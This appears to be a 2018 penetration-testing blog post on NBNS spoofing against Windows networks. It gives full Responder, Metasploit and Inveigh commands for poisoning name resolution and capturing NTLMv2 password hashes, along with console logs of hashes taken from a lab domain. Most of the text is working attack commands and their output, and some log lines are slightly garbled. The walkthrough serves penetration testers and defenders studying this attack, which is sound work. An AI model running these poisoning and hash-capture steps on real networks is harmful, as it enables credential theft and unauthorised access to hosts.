# **NBNS Spoofing**



May 8, 2018

Netbios Name Service (NBT-NS) is used in Windows networks for communication between hosts. Systems will use this service when resolving names over LHOSTS and DNS fail. Abusing this service to perform a Man-in-the-middle attack is a common tactic that has been widely used by penetration testers and red teamers to gain initial foothold inside a system. The retrieved password hashes can be cracked offline or can be used in conjunction with a relay attack to achieve legitimate access into hosts.

#### Responder

Trustwave SpiderLabs developed <u>Responder</u> to implement the NBNS spoofing attack. Running the tool with the following arguments will initiate the poisoning against various protocols that require authentication such as SMB, HTTP etc.

```
responder -I eth0 -e 10.0.0.2 -b -A -v
```

```
kali:~# responder -I eth0 -e 10.0.0.2 -b -A -v
           NBT-NS, LLMNR & MDNS Responder 2.3.3.9
 Author: Laurent Gaffie (laurent.gaffie@gmail.com)
 To kill this script hit CRTL-C
[+] Poisoners:
   LLMNR
                                [ON]
   NBT-NS
                                [ON]
   DNS/MDNS
                                [ON]
[+] Servers:
                                [ON]
   HTTP server
   HTTPS server
                                [ON]
   WPAD proxy
   Auth proxy
```

NBNS Spoofing – Responder

When a host in the network sent a NetBIOS broadcast the machine of the attacker will sent a fake reply and the host will attempt to authenticate to a resource using the NTLM password hash.

```
[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poison
[+] Listening for events...
[Analyze mode: NBT-NS] Request by 10.0.0.3 for PENTESTLAB, ignoring
[Analyze mode: NBT-NS] Request by 10.0.0.3 for PENTESTLAB, ignoring
[Analyze mode: NBT-NS] Request by 10.0.0.3 for PENTESTLAB, ignoring
[SMBv2] NTLMv2-SSP Client
                        : 10.0.0.3
[SMBv2] NTLMv2-SSP Username : PENTESTLAB\test
                       : test::PENTESTLAB:21d9c06030a3d870:1BE458C561BAE5DI
[SMBv2] NTLMv2-SSP Hash
353554A3986048E2:0101000000000000C0653150DE09D20190854080BD74ACF40000000020008
053004D004200330001001E00570049004E002D00500052004800340039003200520051004100466
056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500
052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061
06C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106
)0440002000000080030003000000000000000100000000200000C5D80D59828F385EFD7D1AEE0E
```

NBNS Spoofing - Hashes via Responder

### Metasploit

NBNS Spoofing can be implemented through Metasploit Framework by using a variety of modules that can capture the negotiate authentication challenge for protocols such as SMB and HTTP. For capturing the password hash over SMB the following module needs to be used:

```
use auxiliary/server/capture/smb
set SRVHOST 10.0.0.2
set cainpwfile /tmp/cain-smb
set johnpwfile /tmp/john-smb
set logfile /tmp/logfile
run
```

```
msf > use auxiliary/server/capture/smb
msf auxiliary(server/capture/smb) > set SRVHOST 10.0.0.2
SRVHOST => 10.0.0.2
msf auxiliary(server/capture/smb) > set cainpwfile /tmp/cain-smb
cainpwfile => /tmp/cain-smb
msf auxiliary(server/capture/smb) > set johnpwfile /tmp/john-smb
johnpwfile => /tmp/john-smb
msf auxiliary(server/capture/smb) > set logfile /tmp/logfile
logfile => /tmp/logfile
msf auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
[*] Server started.
```

Metasploit – SMB Server

The module for capturing the NTLM authentication challenge over HTTP can be configured as below:

```
use auxiliary/server/capture/http_ntlm
set SRVHOST 10.0.0.2
set SRVPORT 80
set URIPATH /
set cainpwfile /tmp/cain-http
set johnpwfile /tmp/john-http
set logfile /tmp/logfile
run
```

```
msf auxiliary(server/capture/smb) > use auxiliary/server/capture/http_ntlm
msf auxiliary(server/capture/http_ntlm) > set SRVHOST 10.0.0.2
SRVHOST => 10.0.0.2
msf auxiliary(server/capture/http_ntlm) > set SRVPORT 80
SRVPORT => 80
msf auxiliary(server/capture/http_ntlm) > set URIPATH /
URIPATH => /
msf auxiliary(server/capture/http_ntlm) > set cainpwfile /tmp/cain-http
cainpwfile => /tmp/cain-http
msf auxiliary(server/capture/http_ntlm) > set johnpwfile /tmp/john-http
johnpwfile => /tmp/john-http
msf auxiliary(server/capture/http_ntlm) > set logfile /tmp/logfile
logfile => /tmp/logfile
msf auxiliary(server/capture/http_ntlm) > run
[*] Auxiliary module running as background job 1.

[*] Using URL: http://10.0.0.2:80/
[*] Server started.
```

Metasploit - HTTP Server

The following module will sent the NetBIOS name service responses to the hosts that will sent NetBIOS broadcast requests over the network.

```
use auxiliary/spoof/nbns/nbns_response
set SP00FIP 10.0.0.2
run
```

```
msf auxiliary(server/capture/http_ntlm) > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(spoof/nbns/nbns_response) > set SP00FIP 10.0.0.2
SP00FIP => 10.0.0.2
msf auxiliary(spoof/nbns/nbns_response) > run
[*] Auxiliary module running as background job 2.

[*] NBNS Spoofer started. Listening for NBNS requests with REGEX ".*" ...
```

Metasploit – NBNS Response Module

When a network user will attempt to use the NetBIOS broadcast request to identify a resource the traffic will redirected to the attacker host and the password hash will be captured.

```
[+] 10.0.0.3
                                        matches regex, responding with 10.0
                   nbns - PENTESTLAB
.0.2
[*] 2018-05-03 04:19:56 -0400
NTLMv2 Response Captured from WIN-2NE38K15TGH
DOMAIN: PENTESTLAB USER: test
LMHASH:Disabled LM CLIENT CHALLENGE:Disabled
NTHASH:1c505ee8e45137ebdb9084a5f55cca19 NT CLIENT CHALLENGE:0101000000000000c2dc
0000
[+] 10.0.0.3
                   nbns - PENTESTLAB
                                       matches regex, responding with 10.0
.0.2
[*] SMB Captured - 2018-05-03 04:20:47 -0400
NTLMv2 Response Captured from 10.0.0.3:50595 - 10.0.0.3
USER:test DOMAIN:PENTESTLAB OS: LM:
LMHASH:Disabled
LM CLIENT CHALLENGE:Disabled
NTHASH: 1bab443113eb01215fdf1d670058d92d
NT CLIENT CHALLENGE:0101000000000003f5d55a3b7e2d301f51ed6c50f6887cb000000000200
00000000000000000000
[*] SMB Captured - 2018-05-03 04:20:47 -0400
NTLMv2 Response Captured from 10.0.0.3:50595 - 10.0.0.3
USER:test DOMAIN:PENTESTLAB OS: LM:
LMHASH:Disabled
```

NBNS Spoofing - Hashes via Metasploit

#### **PowerShell**

<u>Kevin Robertson</u> implemented this attack in a PowerShell script called <u>Inveigh</u>. This script is part of Empire, PoshC2 and other tools and can be configured as follows:

Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y

```
PS C:\Users\Administrator\Inveigh\Scripts> Import-Module .\Inveigh.ps1
PS C:\Users\Administrator\Inveigh\Scripts> Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y Inveigh 1.3.1 started at 2018-05-03T02:36:31
Elevated Privilege Mode = Enabled
Primary IP Address = 10.0.0.1
LLMNR/mDNS/NBNS Spoofer IP Address = 10.0.0.1
LLMNR Spoofer = Enabled
LLMNR TIL = 30 Seconds
mDNS Spoofer For Type QU = Enabled
mDNS TTL = 120 Seconds
NBNS Spoofer For Types 00,20 = Enabled
NBNS TTL = 165 Seconds
SMB Capture = Enabled
MARNING: HTTP Capture Disabled Due To In Use Port 80
WARNING: HTTP Capture Disabled Due To In Use Port 443
Machine Account Capture = Disabled
Real Time Console Output = Enabled
Real Time File Output = Disabled
WARNING: Run Stop-Inveigh to stop Inveigh
Press any key to stop real time console output
```

NBNS Spoofing - PowerShell Inveigh

The password hash of the user will be captured like Responder and Metasploit.

NBNS Spoofing - Hashes via Inveigh

## References

- <a href="http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html">http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html</a>
- <a href="http://www.anotherwayin.net/2011/07/netbios-spoofing-for-easy-win.html">http://www.anotherwayin.net/2011/07/netbios-spoofing-for-easy-win.html</a>
- <a href="https://github.com/Kevin-Robertson/Inveigh">https://github.com/Kevin-Robertson/Inveigh</a>